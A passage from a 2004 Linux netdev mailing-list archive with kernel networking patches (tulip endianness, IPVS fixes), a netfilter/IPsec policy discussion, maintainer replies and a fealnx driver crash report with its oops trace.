Saiba mais sobre o IOL Flash: http://www.iol.pt/central_utilizador/iol_flash/ From proski@gnu.org Sat Mar 20 21:22:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Mar 2004 21:22:10 -0800 (PST) Received: from cmail.srv.hcvlny.cv.net (cmail.srv.hcvlny.cv.net [167.206.112.40]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2L5M8KO015857 for ; Sat, 20 Mar 2004 21:22:08 -0800 Received: from portland.hansa.lan (ool-435328fe.dyn.optonline.net [67.83.40.254]) by cmail.srv.hcvlny.cv.net (iPlanet Messaging Server 5.2 HotFix 1.16 (built May 14 2003)) with ESMTP id <0HUW00GWNUTZXD@cmail.srv.hcvlny.cv.net> for netdev@oss.sgi.com; Sun, 21 Mar 2004 00:20:23 -0500 (EST) Date: Sun, 21 Mar 2004 00:20:25 -0500 (EST) From: Pavel Roskin Subject: [PATCH] Tulip endianess fix X-X-Sender: proski@portland.hansa.lan To: netdev@oss.sgi.com Cc: Jeff Garzik Message-id: Content-id: MIME-version: 1.0 Content-type: multipart/mixed; boundary="Boundary_(ID_t0Y6N16Ys+FUxlGu7UqDPg)" X-archive-position: 4158 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: proski@gnu.org Precedence: bulk X-list: netdev Content-Length: 3876 Lines: 96 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --Boundary_(ID_t0Y6N16Ys+FUxlGu7UqDPg) Content-id: Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT Hello! My tulip ethernet card doesn't work on Blue&White G3 PowerMac with Linux 2.6.5-rc2. The card is shown by lspci as 01:03.0 Ethernet controller: Linksys Network Everywhere Fast Ethernet 10/100 model NC100 (rev 11) The kernel detects it as "ADMtek Comet rev 17". The MAC address reported by the kernel looked obviously wrong. Also, I could only ping the system successfully if the interface was in promiscuous mode (running Ethereal). Those two symptoms indicated two different problems - one for reading the MAC address from the card on module load (tulip_init_one), and the other for writing the address to the card when the interface was brought up (tulip_up). I have fixed both, and here's the explanation: tulip_init_one: When reading the first 4 bytes of the address, inl() returns the same data to the CPU on all platforms, interpreting the data from the lowest port address as the least significant byte. In other words, I/O is little endian on all platforms; it's the memory that differs across platforms. We want to write the data to memory preserving little-endianness of the PCI bus. To force little endian write to the memory, the data should be converted to the little endian format. When reading the remaining 2 bytes, the CPU gets them in 2 least significant bytes. To write those 2 bytes to the memory in a 16-bit operation, they should be byte-swapped for the 16-bit operation. tulip_up: The first 4 bytes are processed correctly, but the code is confusing. Reading from memory needs conversion to CPU format, while writing to I/O ports doesn't. So I replaced cpu_to_le32() to le32_to_cpu(). The second 2 bytes are read in a 16-bit memory operation, so they should be passed to le16_to_cpu() rather than cpu_to_le32() to make them CPU independent and suitable for outl(). All those conversions do nothing on little-endian machines, so they should not be affected. The patch has been tested. The driver is working fine. ping is OK, ssh is OK, X11 over ssh is OK. Even netconsole is working fine. -- Regards, Pavel Roskin --Boundary_(ID_t0Y6N16Ys+FUxlGu7UqDPg) Content-id: Content-type: TEXT/PLAIN; CHARSET=US-ASCII; NAME=tulip_mac.diff Content-transfer-encoding: 7BIT Content-disposition: ATTACHMENT; FILENAME=tulip_mac.diff Content-description: --- linux.orig/drivers/net/tulip/tulip_core.c +++ linux/drivers/net/tulip/tulip_core.c @@ -308,8 +308,8 @@ static void tulip_up(struct net_device * tp->dirty_rx = tp->dirty_tx = 0; if (tp->flags & MC_HASH_ONLY) { - u32 addr_low = cpu_to_le32(get_unaligned((u32 *)dev->dev_addr)); - u32 addr_high = cpu_to_le32(get_unaligned((u16 *)(dev->dev_addr+4))); + u32 addr_low = le32_to_cpu(get_unaligned((u32 *)dev->dev_addr)); + u32 addr_high = le16_to_cpu(get_unaligned((u16 *)(dev->dev_addr+4))); if (tp->chip_id == AX88140) { outl(0, ioaddr + CSR13); outl(addr_low, ioaddr + CSR14); @@ -1434,8 +1434,8 @@ static int __devinit tulip_init_one (str } } else if (chip_idx == COMET) { /* No need to read the EEPROM. */ - put_unaligned(inl(ioaddr + 0xA4), (u32 *)dev->dev_addr); - put_unaligned(inl(ioaddr + 0xA8), (u16 *)(dev->dev_addr + 4)); + put_unaligned(cpu_to_le32(inl(ioaddr + 0xA4)), (u32 *)dev->dev_addr); + put_unaligned(cpu_to_le16(inl(ioaddr + 0xA8)), (u16 *)(dev->dev_addr + 4)); for (i = 0; i < 6; i ++) sum += dev->dev_addr[i]; } else { --Boundary_(ID_t0Y6N16Ys+FUxlGu7UqDPg)-- From herbert@gondor.apana.org.au Sat Mar 20 22:35:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 20 Mar 2004 22:35:48 -0800 (PST) Received: from arnor.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2L6ZaKO018424 for ; Sat, 20 Mar 2004 22:35:38 -0800 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1B4wYI-00008Q-00; Sun, 21 Mar 2004 17:35:18 +1100 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1B4wYC-0005BY-00; Sun, 21 Mar 2004 17:35:12 +1100 Date: Sun, 21 Mar 2004 17:35:12 +1100 To: Patrick McHardy Cc: "David S. Miller" , netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [RFC, PATCH 4/5]: netfilter+ipsec - policy lookup Message-ID: <20040321063512.GE19697@gondor.apana.org.au> References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> <4059CF17.8090907@trash.net> <20040319115130.GE29066@gondor.apana.org.au> <405B2132.6060403@trash.net> <20040319210525.GA479@gondor.apana.org.au> <405C4ED3.4030004@trash.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <405C4ED3.4030004@trash.net> User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 4160 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev Content-Length: 947 Lines: 20 On Sat, Mar 20, 2004 at 03:01:55PM +0100, Patrick McHardy wrote: > Herbert Xu wrote: > > > >Actually it was me who was confused. ip_route_me_harder can be called > >on both incoming/outgoing packets. That's what the if clause is trying > >to determine. You should only call xfrm_lookup on the outgoing path. > > No, ip_route_me_harder is currently (without the patches) only called > for outgoing packets. The if-clause is there because ip_route_output > doesn't handle packets with non-local source, and we don't want to set > the source to 0 (as was done before) because it prevents policy routing > from working properly. That's why we need the xfrm_lookup for both > cases. You're right. Sorry for the confusion. -- Debian GNU/Linux 3.0 is out! ( http://www.debian.org/ ) Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt From jgarzik@pobox.com Sun Mar 21 09:40:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Mar 2004 09:40:41 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2LHeaKO025929 for ; Sun, 21 Mar 2004 09:40:37 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B56w7-0004Wz-82; Sun, 21 Mar 2004 17:40:35 +0000 Message-ID: <405DD386.6080109@pobox.com> Date: Sun, 21 Mar 2004 12:40:22 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Pavel Roskin CC: netdev@oss.sgi.com Subject: Re: [PATCH] Tulip endianess fix References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4161 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 402 Lines: 19 Pavel Roskin wrote: > Hello! > > My tulip ethernet card doesn't work on Blue&White G3 PowerMac with Linux > 2.6.5-rc2. The card is shown by lspci as > > 01:03.0 Ethernet controller: Linksys Network Everywhere Fast Ethernet > 10/100 model NC100 (rev 11) > > The kernel detects it as "ADMtek Comet rev 17". Looks OK at first glance. I'll look again after caffeine and (probably) apply. Jeff From ja@ssi.bg Sun Mar 21 11:39:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Mar 2004 11:40:00 -0800 (PST) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2LJdnKO029169 for ; Sun, 21 Mar 2004 11:39:50 -0800 Received: from localhost (localhost [127.0.0.1]) by u.domain.uli (8.12.10/8.12.10) with ESMTP id i2LIkTIX016552; Sun, 21 Mar 2004 20:46:32 +0200 Date: Sun, 21 Mar 2004 20:46:29 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: "David S. Miller" cc: netdev@oss.sgi.com, Wensong Zhang Subject: [2.4/2.6] ipvs: improve conn rehashing, other fixes Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="1607745702-1976085110-1079894789=:8668" X-archive-position: 4163 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Content-Length: 15207 Lines: 281 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --1607745702-1976085110-1079894789=:8668 Content-Type: TEXT/PLAIN; charset=US-ASCII Hello, Attached are some fixes for IPVS for Linux 2.4 and 2.6: - Brett E. noticed the missing svc lock for dest edit - improve the rehashing during cport changes - one old/lost fix for 2.4: the h.raw update for tunneling The same changes are here: http://www.ssi.bg/~ja/tmp/ipvs-2.6/ http://www.ssi.bg/~ja/tmp/ipvs-2.4/ Regards -- Julian Anastasov --1607745702-1976085110-1079894789=:8668 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="ip_vs_updsvc-2.4.25-1.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: 2.4 - svc lock Content-Disposition: attachment; filename="ip_vs_updsvc-2.4.25-1.diff" ZGlmZiAtdXIgdjIuNC4yNS9saW51eC9uZXQvaXB2NC9pcHZzL2lwX3ZzX2N0 bC5jIGxpbnV4L25ldC9pcHY0L2lwdnMvaXBfdnNfY3RsLmMNCi0tLSB2Mi40 LjI1L2xpbnV4L25ldC9pcHY0L2lwdnMvaXBfdnNfY3RsLmMJMjAwMy0xMS0y OCAyMjowNDoxNC4wMDAwMDAwMDAgKzAyMDANCisrKyBsaW51eC9uZXQvaXB2 NC9pcHZzL2lwX3ZzX2N0bC5jCTIwMDQtMDMtMjAgMTE6MjQ6MjguNTc0NTQ1 ODcyICswMjAwDQpAQCAtODkyLDkgKzg5MiwxMyBAQA0KIA0KIAlfX2lwX3Zz X3VwZGF0ZV9kZXN0KHN2YywgZGVzdCwgdXIpOw0KIA0KKwl3cml0ZV9sb2Nr X2JoKCZfX2lwX3ZzX3N2Y19sb2NrKTsNCisNCiAJLyogY2FsbCB0aGUgdXBk YXRlX3NlcnZpY2UsIGJlY2F1c2Ugc2VydmVyIHdlaWdodCBtYXkgYmUgY2hh bmdlZCAqLw0KIAlzdmMtPnNjaGVkdWxlci0+dXBkYXRlX3NlcnZpY2Uoc3Zj KTsNCiANCisJd3JpdGVfdW5sb2NrX2JoKCZfX2lwX3ZzX3N2Y19sb2NrKTsN CisNCiAJTGVhdmVGdW5jdGlvbigyKTsNCiANCiAJcmV0dXJuIDA7DQo= --1607745702-1976085110-1079894789=:8668 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="ip_vs_unhash-2.4.25-4.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: 2.4 - improve unhashing Content-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ID0gNjU1MzU7DQorCQkJCWN0LT5jcG9ydCA9IDA7DQorCQkJCWlwX3ZzX2Nv bm5faGFzaChjdCk7DQorCQkJfQ0KKwkJfQ0KIA0KIAkJLyoNCiAJCSAqIFNp bXBseSBkZWNyZWFzZSB0aGUgcmVmY250IG9mIHRoZSB0ZW1wbGF0ZSwNCkBA IC0xMjAwLDcgKzEyMDksOCBAQA0KIAkvKg0KIAkgKgl1bmhhc2ggaXQgaWYg aXQgaXMgaGFzaGVkIGluIHRoZSBjb25uIHRhYmxlDQogCSAqLw0KLQlpcF92 c19jb25uX3VuaGFzaChjcCk7DQorCWlmICghaXBfdnNfY29ubl91bmhhc2go Y3ApKQ0KKwkJZ290byBleHBpcmVfbGF0ZXI7DQogDQogCS8qDQogCSAqCXJl ZmNudD09MSBpbXBsaWVzIEknbSB0aGUgb25seSBvbmUgcmVmZXJyZXINCg== --1607745702-1976085110-1079894789=:8668 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="ip_vs_hraw-2.4.25-1.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: 2.4 - h.raw Content-Disposition: attachment; filename="ip_vs_hraw-2.4.25-1.diff" ZGlmZiAtdXIgdjIuNC4yNS9saW51eC9uZXQvaXB2NC9pcHZzL2lwX3ZzX2Nv bm4uYyBsaW51eC9uZXQvaXB2NC9pcHZzL2lwX3ZzX2Nvbm4uYw0KLS0tIHYy LjQuMjUvbGludXgvbmV0L2lwdjQvaXB2cy9pcF92c19jb25uLmMJMjAwMy0x MS0yOCAyMjowNDoxNC4wMDAwMDAwMDAgKzAyMDANCisrKyBsaW51eC9uZXQv aXB2NC9pcHZzL2lwX3ZzX2Nvbm4uYwkyMDA0LTAzLTIwIDExOjE5OjM1LjEy MTE1NzU2OCArMDIwMA0KQEAgLTg5MCw4ICs4OTAsNiBAQA0KIAkvKiB1cGRh dGUgY2hlY2tzdW0gYmVjYXVzZSBza2IgbWlnaHQgYmUgZGVmcmFnbWVudGVk ICovDQogCWlwX3NlbmRfY2hlY2sob2xkX2lwaCk7DQogDQotCXNrYi0+aC5y YXcgPSBza2ItPm5oLnJhdzsNCi0NCiAJLyoNCiAJICogT2theSwgbm93IHNl ZSBpZiB3ZSBjYW4gc3R1ZmYgaXQgaW4gdGhlIGJ1ZmZlciBhcy1pcy4NCiAJ ICovDQpAQCAtOTExLDYgKzkwOSw3IEBADQogCQlvbGRfaXBoID0gc2tiLT5u aC5pcGg7DQogCX0NCiANCisJc2tiLT5oLnJhdyA9IHNrYi0+bmgucmF3Ow0K IAlza2ItPm5oLnJhdyA9IHNrYl9wdXNoKHNrYiwgc2l6ZW9mKHN0cnVjdCBp cGhkcikpOw0KIAltZW1zZXQoJihJUENCKHNrYiktPm9wdCksIDAsIHNpemVv ZihJUENCKHNrYiktPm9wdCkpOw0KIA0K --1607745702-1976085110-1079894789=:8668 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="ip_vs_updsvc-2.6-1.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: 2.6 - svc lock Content-Disposition: attachment; filename="ip_vs_updsvc-2.6-1.diff" IyBUaGlzIGlzIGEgQml0S2VlcGVyIGdlbmVyYXRlZCBwYXRjaCBmb3IgdGhl IGZvbGxvd2luZyBwcm9qZWN0Og0KIyBQcm9qZWN0IE5hbWU6IExpbnV4IGtl cm5lbCB0cmVlDQojIFRoaXMgcGF0Y2ggZm9ybWF0IGlzIGludGVuZGVkIGZv ciBHTlUgcGF0Y2ggY29tbWFuZCB2ZXJzaW9uIDIuNSBvciBoaWdoZXIuDQoj IFRoaXMgcGF0Y2ggaW5jbHVkZXMgdGhlIGZvbGxvd2luZyBkZWx0YXM6DQoj CSAgICAgICAgICAgQ2hhbmdlU2V0CTEuMTgxOCAgLT4gMS4xODE5IA0KIwlu ZXQvaXB2NC9pcHZzL2lwX3ZzX2N0bC5jCTEuMTQgICAgLT4gMS4xNSAgIA0K Iw0KIyBUaGUgZm9sbG93aW5nIGlzIHRoZSBCaXRLZWVwZXIgQ2hhbmdlU2V0 IExvZw0KIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLQ0KIyAwNC8wMy8yMAlicmV0dHNwYW1hY2N0QGZhc3RjbGljay5j b20JMS4xODE5DQojIFtJUFZTXTogSG9sZCB0aGUgc3ZjIGxvY2sgZHVyaW5n IHNlcnZpY2UgdXBkYXRlIGluIGRlc3QgZWRpdA0KIyAtLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIw0KZGlmZiAtTnJ1 IGEvbmV0L2lwdjQvaXB2cy9pcF92c19jdGwuYyBiL25ldC9pcHY0L2lwdnMv aXBfdnNfY3RsLmMNCi0tLSBhL25ldC9pcHY0L2lwdnMvaXBfdnNfY3RsLmMJ U2F0IE1hciAyMCAxNjo0NToxMyAyMDA0DQorKysgYi9uZXQvaXB2NC9pcHZz L2lwX3ZzX2N0bC5jCVNhdCBNYXIgMjAgMTY6NDU6MTMgMjAwNA0KQEAgLTg5 OCw4ICs4OTgsMTIgQEANCiANCiAJX19pcF92c191cGRhdGVfZGVzdChzdmMs IGRlc3QsIHVkZXN0KTsNCiANCisJd3JpdGVfbG9ja19iaCgmX19pcF92c19z dmNfbG9jayk7DQorDQogCS8qIGNhbGwgdGhlIHVwZGF0ZV9zZXJ2aWNlLCBi ZWNhdXNlIHNlcnZlciB3ZWlnaHQgbWF5IGJlIGNoYW5nZWQgKi8NCiAJc3Zj LT5zY2hlZHVsZXItPnVwZGF0ZV9zZXJ2aWNlKHN2Yyk7DQorDQorCXdyaXRl X3VubG9ja19iaCgmX19pcF92c19zdmNfbG9jayk7DQogDQogCUxlYXZlRnVu Y3Rpb24oMik7DQogDQo= --1607745702-1976085110-1079894789=:8668 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="ip_vs_unhash-2.6-2.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: 2.6 - improve unhashing Content-Disposition: attachment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XBfdnNfY29ubl91bmhhc2goY3QpOw0KLQkJY3Qt PmRwb3J0ID0gNjU1MzU7DQotCQljdC0+dnBvcnQgPSA2NTUzNTsNCi0JCWN0 LT5jcG9ydCA9IDA7DQotCQlpcF92c19jb25uX2hhc2goY3QpOw0KKwkJaWYg KGN0LT5jcG9ydCkgew0KKwkJCWlmIChpcF92c19jb25uX3VuaGFzaChjdCkp IHsNCisJCQkJY3QtPmRwb3J0ID0gNjU1MzU7DQorCQkJCWN0LT52cG9ydCA9 IDY1NTM1Ow0KKwkJCQljdC0+Y3BvcnQgPSAwOw0KKwkJCQlpcF92c19jb25u X2hhc2goY3QpOw0KKwkJCX0NCisJCX0NCiANCiAJCS8qDQogCQkgKiBTaW1w bHkgZGVjcmVhc2UgdGhlIHJlZmNudCBvZiB0aGUgdGVtcGxhdGUsDQpAQCAt NDkzLDcgKzUwNCw4IEBADQogCS8qDQogCSAqCXVuaGFzaCBpdCBpZiBpdCBp cyBoYXNoZWQgaW4gdGhlIGNvbm4gdGFibGUNCiAJICovDQotCWlwX3ZzX2Nv bm5fdW5oYXNoKGNwKTsNCisJaWYgKCFpcF92c19jb25uX3VuaGFzaChjcCkp DQorCQlnb3RvIGV4cGlyZV9sYXRlcjsNCiANCiAJLyoNCiAJICoJcmVmY250 PT0xIGltcGxpZXMgSSdtIHRoZSBvbmx5IG9uZSByZWZlcnJlcg0K --1607745702-1976085110-1079894789=:8668-- From jgarzik@pobox.com Sun Mar 21 11:52:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Mar 2004 11:53:05 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2LJqoKO029729 for ; Sun, 21 Mar 2004 11:52:51 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B5906-0005zU-1Y; Sun, 21 Mar 2004 19:52:50 +0000 Message-ID: <405DF284.4070600@pobox.com> Date: Sun, 21 Mar 2004 14:52:36 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: daniel.ritz@gmx.ch CC: netdev@oss.sgi.com Subject: Re: [PATCH] netdev_priv for xirc2ps_cs, nmclan_cs References: <200403150011.09952.daniel.ritz@gmx.ch> In-Reply-To: <200403150011.09952.daniel.ritz@gmx.ch> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4164 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 10 Lines: 3 applied From vda@port.imtp.ilyichevsk.odessa.ua Sun Mar 21 14:08:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Mar 2004 14:08:55 -0800 (PST) Received: from port.imtp.ilyichevsk.odessa.ua (168.imtp.Ilyichevsk.Odessa.UA [195.66.192.168] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2LM8kKO003151 for ; Sun, 21 Mar 2004 14:08:48 -0800 Received: (qmail 18657 invoked by alias); 21 Mar 2004 21:46:40 -0000 Received: from unknown (1.0.3.9) by 0 (195.66.192.168) with ESMTP; 21 Mar 2004 21:46:40 -0000 From: Denis Vlasenko To: netdev@oss.sgi.com Subject: [OOPS] 2.4.25 fealnx: oops with heavy UDP traffic Date: Sun, 21 Mar 2004 23:46:33 +0200 User-Agent: KMail/1.5.4 Cc: Jeff Garzik , linux-kernel@vger.kernel.org MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" Content-Disposition: inline Message-Id: <200403212346.33838.vda@port.imtp.ilyichevsk.odessa.ua> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i2LM8kKO003151 X-archive-position: 4165 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vda@port.imtp.ilyichevsk.odessa.ua Precedence: bulk X-list: netdev Content-Length: 5734 Lines: 146 I can trigger this reliably with nc -nvu -l -p 19 /dev/null on one box and nc -nvu 19 /dev/null on another. Second box oops instantly. I wrote oops down by hand, mistakes are possible. I substituted 77777777 to irrelevant regs etc. Oops does not happen if I replace NIC with Intel one. # lspci 00:05.0 Host bridge: Hint Corp VXPro II Chipset 00:05.1 ISA bridge: Hint Corp VXPro II Chipset 00:05.2 IDE interface: Hint Corp VXPro II IDE 00:08.0 VGA compatible controller: S3 Inc. 86c764/765 [Trio32/64/64V+] (rev 54) 00:0a.0 Ethernet controller: MYSON Technology Inc SURECOM EP-320X-S 100/10M Ethernet PCI Adapter Looks like rx IRQ happened inside previous rx IRQ. ksymoops 2.4.1 on i686 2.6.4-rc2-bk3. Options used -V (specified) -K (specified) -L (specified) -o /lib/modules/2.4.25 (specified) -m /boot/2.4.25/System.map (specified) No modules in ksyms, skipping objects Unable to handle kernel NULL pointer dereference at virtual address 00000064 *pde = 00000000 Oops: 0000 CPU: 0 EIP: 0010:[] Not tainted EFLAGS: 00010202 eax: 77777777 š ebx: 00000000 š ecx: 77777777 š edx: 77777777 esi: 00000000 š edi: 00000000 š ebp: 77777777 š esp: 77777777 ds: 7777 š es: 7777 š ss: 7777 Process nc (pid: 7, stackpage=77777777) Stack: 77777777 77777777 77777777 77777777 77777777 77777777 77777777 77777777 Call Trace: [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] [] Code: 8b 7b 64 85 ff 8b 83 88 00 00 00 0f 85 69 01 00 00 Using defaults from ksymoops -t elf32-i386 -a i386 Trace; c01ff323 drivers/net/fealnx.c:intr_handler(): if (intr_status & (RI | RBU)) { if (intr_status & RI) netdev_rx(dev); <=== oopses inside else reset_rx_descriptors(dev); } Trace; c0109ae6 Trace; c0109c5b Trace; c010c100 second IRQ! Trace; c02e16c4 Trace; c02e180b Trace; c02e0d76 Trace; c08d9310 Trace; c08d868d Trace; c02f6d34 Trace; c02eb10e Trace; c02f6d34 Trace; c02eb382 Trace; c02f6d34 Trace; c08db320 Trace; c02f6b61 Trace; c02f6d34 Trace; c02c48b9 Trace; c02e49b8 Trace; c02e4abb Trace; c011a1cf Trace; c0109c96 Trace; c010c100 first IRQ Trace; c032eccb Trace; c02e2374 Trace; c0312b06 Trace; c02f9aeb Trace; c02f9d34 Trace; c0312a50 Trace; c0312d72 Trace; c0312a50 Trace; c01bd7ef Trace; c012b60f Trace; c02ed177 Trace; c0318ee5 Trace; c02dd8a1 Trace; c02dda85 Trace; c0133446 Trace; c0108b2b Code; 00000000 Before first symbol 00000000 <_EIP>: Code; 00000000 Before first symbol 0: 8b 7b 64 mov 0x64(%ebx),%edi Code; 00000003 Before first symbol 3: 85 ff test %edi,%edi Code; 00000005 Before first symbol 5: 8b 83 88 00 00 00 mov 0x88(%ebx),%eax Code; 0000000b Before first symbol b: 0f 85 69 01 00 00 jne 17a <_EIP+0x17a> drivers/net/fealnx.c:netdev_rx(): if (pkt_len < rx_copybreak && (skb = dev_alloc_skb(pkt_len + 2)) != NULL) { skb->dev = dev; skb_reserve(skb, 2); /* 16 byte align the IP header */ /* Call copy + cksum if available. */ #if ! defined(__alpha__) eth_copy_and_sum(skb, np->cur_rx->skbuff->tail, pkt_len, 0); skb_put(skb, pkt_len); #else memcpy(skb_put(skb, pkt_len), np->cur_rx->skbuff->tail, pkt_len); #endif } else { skb_put(skb = np->cur_rx->skbuff, pkt_len); np->cur_rx->skbuff = NULL; if (np->really_rx_count == RX_RING_SIZE) np->lack_rxbuf = np->cur_rx; --np->really_rx_count; } gcc -S of the same place: cmpl rx_copybreak, %ecx jl .L667 .L619: movl -16(%ebp), %ecx movl 148(%ecx), %eax movl 20(%eax), %ebx movl 100(%ebx), %edi <=== oopses here testl %edi, %edi movl 136(%ebx), %eax jne .L661 -- vda From herbert@gondor.apana.org.au Sun Mar 21 14:16:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Mar 2004 14:16:43 -0800 (PST) Received: from arnor.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2LMGaKO003530 for ; Sun, 21 Mar 2004 14:16:38 -0800 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1B5BEl-0006Tn-00; Mon, 22 Mar 2004 09:16:07 +1100 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1B5BEi-0008Os-00; Mon, 22 Mar 2004 09:16:04 +1100 Date: Mon, 22 Mar 2004 09:16:04 +1100 To: Patrick McHardy Cc: "David S. Miller" , netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: [RFC, PATCH 4/5]: netfilter+ipsec - policy lookup Message-ID: <20040321221604.GA32277@gondor.apana.org.au> References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> <4059CF17.8090907@trash.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4059CF17.8090907@trash.net> User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 4166 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev Content-Length: 793 Lines: 27 On Thu, Mar 18, 2004 at 05:32:23PM +0100, Patrick McHardy wrote: > > @@ -661,6 +661,20 @@ > > if ((*pskb)->dst->error) > return -1; > + > +#ifdef CONFIG_XFRM > + if (!(IPCB(*pskb)->flags & IPSKB_XFRM_TRANSFORMED)) { > + struct xfrm_policy_afinfo *afinfo; > + > + afinfo = xfrm_policy_get_afinfo(AF_INET); > + if (afinfo != NULL) { > + afinfo->decode_session(*pskb, &fl); > + xfrm_policy_put_afinfo(afinfo); > + if (xfrm_lookup(&(*pskb)->dst, &fl, (*pskb)->sk, 0) != 0) > + return -1; > + } > + } > +#endif BTW, you can xfrm4_route_forward here. -- Debian GNU/Linux 3.0 is out! ( http://www.debian.org/ ) Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt From jgarzik@pobox.com Sun Mar 21 15:22:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Mar 2004 15:22:28 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2LNMDKO005142 for ; Sun, 21 